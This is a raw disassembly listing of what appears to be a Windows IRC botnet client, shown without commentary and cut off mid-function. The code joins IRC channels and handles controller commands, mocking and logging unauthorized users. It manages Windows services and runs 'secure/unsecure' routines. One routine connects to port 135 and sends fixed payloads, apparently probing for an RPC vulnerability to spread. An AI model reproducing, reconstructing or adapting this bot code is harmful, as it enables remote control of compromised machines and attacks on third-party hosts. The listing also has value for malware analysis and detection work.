mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
jz short loc_412431
push offset dword_433674
push esi
call sub_4158F0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-458h], eax
jmp short loc_412437
; ---------------------------------------------------------------------------
loc_412431: ; CODE XREF: seg000:00412415j
mov [ebp-458h], ebx
loc_412437: ; CODE XREF: seg000:0041242Fj
lea eax, [ebp-2C8h]
push offset dword_433644
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 1Fh
push eax
call sub_414F79
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset dword_414FE4
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_4124A1
loc_41248F: ; CODE XREF: seg000:0041249Fj
cmp [ebp-44Ch], ebx
jnz short loc_4124BC
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_41248F
; ---------------------------------------------------------------------------
loc_4124A1: ; CODE XREF: seg000:0041248Dj
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4335F8
loc_4124AD: ; CODE XREF: seg000:0041135Aj
; seg000:00411473j
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_4124BC: ; CODE XREF: seg000:0040F6FAj
; seg000:0040F71Cj ...
lea eax, [ebp-2C8h]
push eax
jmp loc_40E4FD
; ---------------------------------------------------------------------------
loc_4124C8: ; CODE XREF: seg000:0040E1C3j
; seg000:0040E1D8j
push offset aIds443 ; "ids443"
lea eax, [ebp-2C8h]
push offset dword_4335CC
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 20h
jmp loc_40EF8B
; ---------------------------------------------------------------------------
loc_4124FF: ; CODE XREF: seg000:0040E199j
; seg000:0040E1AEj
push ds:dword_4687F8
call sub_40A996
push eax
lea eax, [ebp-2C8h]
push offset dword_43358C
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 24h
jmp loc_40EF8B
; ---------------------------------------------------------------------------
loc_41253D: ; CODE XREF: seg000:0040E16Fj
; seg000:0040E184j
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_41256F
cmp [ebp-0Ch], ebx
jz short loc_41257E
push esi
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41257E
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
add esp, 0Ch
jmp short loc_41257E
; ---------------------------------------------------------------------------
loc_41256F: ; CODE XREF: seg000:00412546j
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
pop ecx
pop ecx
loc_41257E: ; CODE XREF: seg000:0041254Bj
; seg000:0041255Aj ...
push 0FFFFFFFEh
jmp loc_40D1FF
; ---------------------------------------------------------------------------
loc_412585: ; CODE XREF: seg000:0040E145j
; seg000:0040E15Aj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push offset dword_433538
call sub_40B151
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_4125A7: ; CODE XREF: seg000:0040E11Bj
; seg000:0040E130j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push offset dword_4334F4
call sub_40B151
add esp, 0Ch
xor eax, eax
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_4125C8: ; CODE XREF: seg000:0040E0F1j
; seg000:0040E106j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_407119
jmp loc_410E7D
; ---------------------------------------------------------------------------
loc_4125DE: ; CODE XREF: seg000:0040E04Cj
; seg000:0040E061j
push dword ptr [ebp+esi-90h]
push 1Eh
push offset dword_4334E4
push offset dword_4334D8
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_4125F6: ; CODE XREF: seg000:0040E022j
; seg000:0040E037j
push dword ptr [ebp+esi-90h]
push 1Bh
push offset dword_4334CC
push offset dword_4334BC
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_41260E: ; CODE XREF: seg000:0040DE4Dj
; seg000:0040DE62j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_41262D
push edi
call sub_415A3F
test eax, eax
pop ecx
jz short loc_41262D
push edi
call sub_415A3F
pop ecx
jmp short loc_412632
; ---------------------------------------------------------------------------
loc_41262D: ; CODE XREF: seg000:00412617j
; seg000:00412622j
mov eax, ds:dword_42C14C
loc_412632: ; CODE XREF: seg000:0041262Bj
mov esi, [ebp+esi-8Ch]
mov [ebp-464h], eax
cmp esi, ebx
jz short loc_412657
push esi
loc_412644: ; CODE XREF: seg000:00412666j
lea eax, [ebp-474h]
push 10h
push eax
call sub_415A4A
add esp, 0Ch
jmp short loc_41266E
; ---------------------------------------------------------------------------
loc_412657: ; CODE XREF: seg000:00412641j
cmp [ebp-9B3h], bl
jz short loc_412668
lea eax, [ebp-0C4h]
push eax
jmp short loc_412644
; ---------------------------------------------------------------------------
loc_412668: ; CODE XREF: seg000:0041265Dj
mov [ebp-474h], bl
loc_41266E: ; CODE XREF: seg000:00412655j
mov eax, [ebp-4]
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-458h], eax
mov eax, [ebp-8]
push 80h
mov [ebp-454h], eax
lea eax, [ebp-4F4h]
push eax
mov [ebp-4F8h], esi
call sub_415A4A
add esp, 0Ch
push dword ptr [ebp-464h]
push esi
call sub_40A155
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset unk_427D24
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 11h
push eax
call sub_414F79
add esp, 1Ch
mov [ebp-460h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F8h]
push ebx
push eax
push offset loc_407FEE
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-460h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_41271F
loc_412709: ; CODE XREF: seg000:0041271Dj
cmp [ebp-450h], ebx
jnz loc_40D1FD
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_412709
; ---------------------------------------------------------------------------
loc_41271F: ; CODE XREF: seg000:00412707j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433470
jmp loc_40D3E6
; ---------------------------------------------------------------------------
loc_412730: ; CODE XREF: seg000:0040DDF9j
; seg000:0040DE0Ej ...
push edi
push offset aSecure ; "secure"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_412758
push edi
push offset aSec ; "sec"
call sub_4158F0
pop ecx
mov [ebp-458h], ebx
test eax, eax
pop ecx
jnz short loc_412762
loc_412758: ; CODE XREF: seg000:0041273Fj
mov dword ptr [ebp-458h], 1
loc_412762: ; CODE XREF: seg000:00412756j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_415A4A
mov eax, [ebp+0Ch]
add esp, 0Ch
cmp [ebp-458h], ebx
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
mov [ebp-450h], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4127A9
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4127A9: ; CODE XREF: seg000:004127A2j
push eax
push offset dword_433420
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
push ebx
lea eax, [ebp-2C8h]
push 19h
push eax
call sub_414F79
add esp, 1Ch
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_414640
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_412819
loc_412807: ; CODE XREF: seg000:00412817j
cmp [ebp-44Ch], ebx
jnz short loc_412834
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_412807
; ---------------------------------------------------------------------------
loc_412819: ; CODE XREF: seg000:00412805j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4333D0
loc_412825: ; CODE XREF: seg000:00410A9Dj
; seg000:0041156Fj ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_412834: ; CODE XREF: seg000:0040F798j
; seg000:0040F7BAj ...
lea eax, [ebp-2C8h]
push eax
call sub_40B151
jmp loc_40D3EC
; ---------------------------------------------------------------------------
loc_412845: ; CODE XREF: seg000:0040DDCFj
; seg000:0040DDE4j
push offset aEnz9_9b34 ; "enz 9.9b34"
push offset dword_4333AC
loc_41284F: ; CODE XREF: seg000:0041130Fj
; seg000:00411623j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
loc_41285B: ; CODE XREF: seg000:00411F91j
add esp, 0Ch
jmp loc_40EF6A
; ---------------------------------------------------------------------------
loc_412863: ; CODE XREF: seg000:0040DDA5j
; seg000:0040DDBAj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_4128C3
push esi
call sub_415A3F
cmp eax, ebx
pop ecx
jl short loc_4128B8
cmp eax, 2
jge short loc_4128B8
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_4128AD
lea eax, [esi+1]
push eax
lea eax, [ebp-2C8h]
push offset dword_4364F8
push eax
call sub_4154CD
add esp, 0Ch
mov [esi], bl
jmp loc_40ECA7
; ---------------------------------------------------------------------------
loc_4128AD: ; CODE XREF: seg000:0041288Cj
push eax
push offset dword_43336C
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_4128B8: ; CODE XREF: seg000:00412877j
; seg000:0041287Cj
push eax
push offset dword_43332C
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_4128C3: ; CODE XREF: seg000:0041286Cj
mov edi, [ebp+20h]
xor esi, esi
loc_4128C8: ; CODE XREF: seg000:004128E4j
push dword ptr [ebp-94h]
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_4128EB
inc esi
add edi, 80h
cmp esi, 2
jl short loc_4128C8
jmp loc_40ECA7
; ---------------------------------------------------------------------------
loc_4128EB: ; CODE XREF: seg000:004128D8j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
push offset dword_4364F8
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_412905: ; CODE XREF: seg000:0040DD7Bj
; seg000:0040DD90j
push dword ptr [ebp-90h]
push offset dword_436450
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_412974
call sub_415142
push ebx
call ds:dword_421114 ; ExitProcess
loc_412927: ; CODE XREF: seg000:0040DD51j
; seg000:0040DD66j
push dword ptr [ebp+esi-90h]
xor eax, eax
cmp [ebp-9A4h], bl
setnz al
push eax
lea eax, [ebp-564h]
push ds:dword_42C16C
push eax
call sub_414419
lea eax, [ebp-564h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
lea eax, [ebp-564h]
push eax
push offset dword_4332F4
call sub_40B1C5
loc_412971: ; CODE XREF: seg000:0040F913j
add esp, 24h
loc_412974: ; CODE XREF: seg000:0040D495j
; seg000:0040D4A1j ...
mov eax, [ebp+2Ch]
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_41297C: ; CODE XREF: seg000:0040D951j
; seg000:0040D966j
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], esi
jz loc_40D1FD
cmp [ebp-98h], ebx
jnz loc_40D1FD
push offset dword_42F3A4
push dword ptr [ebp-94h]
call sub_416C78
mov esi, eax
push offset dword_438FB4
push ebx
inc esi
call sub_416C78
push offset asc_4332F0 ; "~"
push eax
call sub_416C78
push dword ptr [ebp+8]
mov edi, eax
push offset aHi ; "hi"
call sub_4158F0
add esp, 20h
test eax, eax
jz short loc_412A24
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
push esi
push offset dword_433264
loc_412A10: ; CODE XREF: seg000:00412A80j
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 30h
jmp loc_40D7DD
; ---------------------------------------------------------------------------
loc_412A24: ; CODE XREF: seg000:004129D7j
mov dword ptr [ebp+2Ch], offset off_42C220
loc_412A2B: ; CODE XREF: seg000:00412A47j
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_4152D2
pop ecx
test eax, eax
pop ecx
jnz short loc_412A82
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_42C224
jl short loc_412A2B
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
push esi
push offset dword_433224
jmp short loc_412A10
; ---------------------------------------------------------------------------
loc_412A82: ; CODE XREF: seg000:00412A3Aj
mov edi, [ebp+20h]
xor esi, esi
loc_412A87: ; CODE XREF: seg000:00412AB1j
cmp [ebp+8], ebx
jz loc_40D1FD
cmp [edi], bl
jnz short loc_412AA7
push dword ptr [ebp+8]
push offset aHi ; "hi"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_412AB8
loc_412AA7: ; CODE XREF: seg000:00412A92j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_412A87
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_412AB8: ; CODE XREF: seg000:00412AA5j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0A94h]
push 7Fh
push eax
push esi
call sub_416D20
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_412AEF
push ebx
push dword ptr [ebp-4]
push offset dword_4331F0
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_412AEF: ; CODE XREF: seg000:00412AD3j
lea eax, [ebp-0C4h]
push eax
push offset dword_4331BC
jmp loc_40D3E6
; ---------------------------------------------------------------------------
loc_412B00: ; CODE XREF: seg000:0040D047j
; seg000:0040D05Cj
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push offset aXI ; "+x+i"
push dword ptr [ebp+18h]
push offset aModeSS ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
add esp, 2Ch
mov ds:dword_468978, edi
jmp loc_40D0D6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B46 proc near ; CODE XREF: sub_412B7E+125p
; sub_412B7E+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_412B74
loc_412B57: ; CODE XREF: sub_412B46+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417910
add esp, 0Ch
test eax, eax
jz short loc_412B7A
inc esi
cmp esi, edi
jl short loc_412B57
loc_412B74: ; CODE XREF: sub_412B46+Fj
xor al, al
loc_412B76: ; CODE XREF: sub_412B46+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412B7A: ; CODE XREF: sub_412B46+27j
mov al, 1
jmp short loc_412B76
sub_412B46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B7E proc near ; CODE XREF: sub_4033CB+8Bp
; sub_4033CB+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_415D50
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_412BBF
dec eax
jz short loc_412B9D
dec eax
loc_412B97: ; CODE XREF: sub_412B7E+57j
xor eax, eax
loc_412B99: ; CODE XREF: sub_412B7E+3Fj
; sub_412B7E+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_412B9D: ; CODE XREF: sub_412B7E+16j
push 3
push 1388h
push [ebp+arg_0]
call ds:dword_43A3B8 ; inet_addr
push eax
call sub_4076D2
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_412B99
; ---------------------------------------------------------------------------
loc_412BBF: ; CODE XREF: sub_412B7E+13j
push 6
push 1
push 2
call ds:dword_43A3F8 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_412B97
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call ds:dword_43A378 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A03F
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_43A320 ; connect
cmp eax, edi
jz loc_412CDB
push ebx
push 48h
push offset dword_436570
push esi
call ds:dword_43A3C8 ; send
cmp eax, edi
jz loc_412CDB
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_43A390 ; recv
cmp eax, edi
jz loc_412CDB
cmp [ebp+var_200E], 0Ch
jnz short loc_412CDB
push ebx
push 18h
push offset dword_4365BC
push [ebp+arg_4]
call ds:dword_43A3C8 ; send
cmp eax, edi
jz short loc_412CDB
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_43A390 ; recv
mov esi, eax
cmp esi, edi
jz short loc_412CDB
cmp [ebp+var_200E], 2
jnz short loc_412CDB
push 10h
push offset loc_4365D8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B46
add esp, 10h
test al, al
jz short loc_412CBB
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_412CDB
; ---------------------------------------------------------------------------
loc_412CBB: ; CODE XREF: sub_412B7E+12Fj
push 10h
push offset dword_4365EC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_412B46
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_412CDB: ; CODE XREF: sub_412B7E+9Bj
; sub_412B7E+B2j ...
push [ebp+arg_4]
call ds:dword_43A410 ; closesocket
mov eax, ebx
pop ebx
jmp loc_412B99
sub_412B7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412CEC proc near ; CODE XREF: sub_40CCC1+3Dp
; seg000:0040D004p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41746F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
leave
retn
sub_412CEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D32 proc near ; CODE XREF: start+88p
; seg000:004014BDp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_412D4D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_412D4D: ; CODE XREF: sub_412D32+14j
push edi
call sub_415CD0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_415CD0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_415A4A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_436600
push eax
call sub_4154CD
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_412DCB
push 7D0h
call ds:dword_421060 ; Sleep
locret_412DCB: ; CODE XREF: sub_412D32+8Cj
leave
retn
sub_412D32 endp
; =============== S U B R O U T I N E =======================================
sub_412DCD proc near ; CODE XREF: seg000:loc_40ED45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_412E32
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_436618[esi]
push edi
push eax
call sub_412E54
add esp, 14h
test eax, eax
jnz short loc_412E15
push edi
push ds:off_436614[esi]
mov esi, offset dword_469040
push offset dword_43674C
push esi
call sub_4154CD
add esp, 10h
jmp short loc_412E4F
; ---------------------------------------------------------------------------
loc_412E15: ; CODE XREF: sub_412DCD+2Aj
push eax
call sub_412EF6
push eax
push edi
mov esi, offset dword_469040
push offset dword_436710
push esi
call sub_4154CD
add esp, 14h
jmp short loc_412E4F
; ---------------------------------------------------------------------------
loc_412E32: ; CODE XREF: sub_412DCD+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_469040
push ds:off_436610[eax*4]
push offset dword_4366D8
push esi
call sub_4154CD
add esp, 0Ch
loc_412E4F: ; CODE XREF: sub_412DCD+46j
; sub_412DCD+63j
mov eax, esi
pop edi
pop esi
retn
sub_412DCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E54 proc near ; CODE XREF: sub_412DCD+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_43A36C ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_412E7B
call ds:dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412EF0
; ---------------------------------------------------------------------------
loc_412E7B: ; CODE XREF: sub_412E54+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_43A260 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_412E9B
call ds:dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_412EE8
; ---------------------------------------------------------------------------
loc_412E9B: ; CODE XREF: sub_412E54+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_412ECE
cmp eax, 3
jz short loc_412EBF
jle short loc_412EE1
cmp eax, 6
jg short loc_412EE1
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_43A2C8 ; ControlService
jmp short loc_412ED5
; ---------------------------------------------------------------------------
loc_412EBF: ; CODE XREF: sub_412E54+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_43A268 ; StartServiceA
jmp short loc_412ED5
; ---------------------------------------------------------------------------
loc_412ECE: ; CODE XREF: sub_412E54+4Dj
push esi
call ds:dword_43A2CC ; DeleteService
loc_412ED5: ; CODE XREF: sub_412E54+69j
; sub_412E54+78j
test eax, eax
jnz short loc_412EE1
call ds:dword_421088 ; RtlGetLastWin32Error
mov ebx, eax
loc_412EE1: ; CODE XREF: sub_412E54+54j
; sub_412E54+59j ...
push esi
call ds:dword_43A27C ; CloseServiceHandle
loc_412EE8: ; CODE XREF: sub_412E54+45j
push edi
call ds:dword_43A27C ; CloseServiceHandle
pop esi
loc_412EF0: ; CODE XREF: sub_412E54+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_412E54 endp
; =============== S U B R O U T I N E =======================================
sub_412EF6 proc near ; CODE XREF: sub_412DCD+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_412FAB
jz loc_412FA4
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_412F6E
jz short loc_412F64
mov ecx, eax
sub ecx, 3
jz short loc_412F5A
dec ecx
dec ecx
jz short loc_412F50
dec ecx
jz short loc_412F46
sub ecx, 51h
jz short loc_412F3C
sub ecx, 24h
jnz loc_413021 ; default
; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F3C: ; CODE XREF: sub_412EF6+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F46: ; CODE XREF: sub_412EF6+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
loc_412F4B: ; DATA XREF: seg002:off_42B7FCo
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F50: ; CODE XREF: sub_412EF6+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F5A: ; CODE XREF: sub_412EF6+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F64: ; CODE XREF: sub_412EF6+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F6E: ; CODE XREF: sub_412EF6+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_412F9D
dec ecx
jz short loc_412F96
dec ecx
jz short loc_412F8F
dec ecx
jnz loc_413021 ; default
; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_413013
; ---------------------------------------------------------------------------
loc_412F8F: ; CODE XREF: sub_412EF6+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412F96: ; CODE XREF: sub_412EF6+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412F9D: ; CODE XREF: sub_412EF6+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FA4: ; CODE XREF: sub_412EF6+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FAB: ; CODE XREF: sub_412EF6+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_413021 ; default
; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
jz short loc_41300E
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_413021 ; default
; jumptable 00412FC8 cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_413062[ecx]
jmp ds:off_41303A[ecx*4] ; switch jump
loc_412FCF: ; DATA XREF: seg000:off_41303Ao
push offset aTheSpecifiedDa ; jumptable 00412FC8 case 7
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FD6: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceDepe ; jumptable 00412FC8 case 17
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FDD: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceDe_0 ; jumptable 00412FC8 case 10
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FE4: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceHasB ; jumptable 00412FC8 case 0
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FEB: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheSpecified_0 ; jumptable 00412FC8 case 2
jmp short loc_413013
; ---------------------------------------------------------------------------
loc_412FF2: ; CODE XREF: sub_412EF6+D2j
; DATA XREF: seg000:off_41303Ao
push offset aTheServiceCoul ; jumptable 00412FC8 case 11
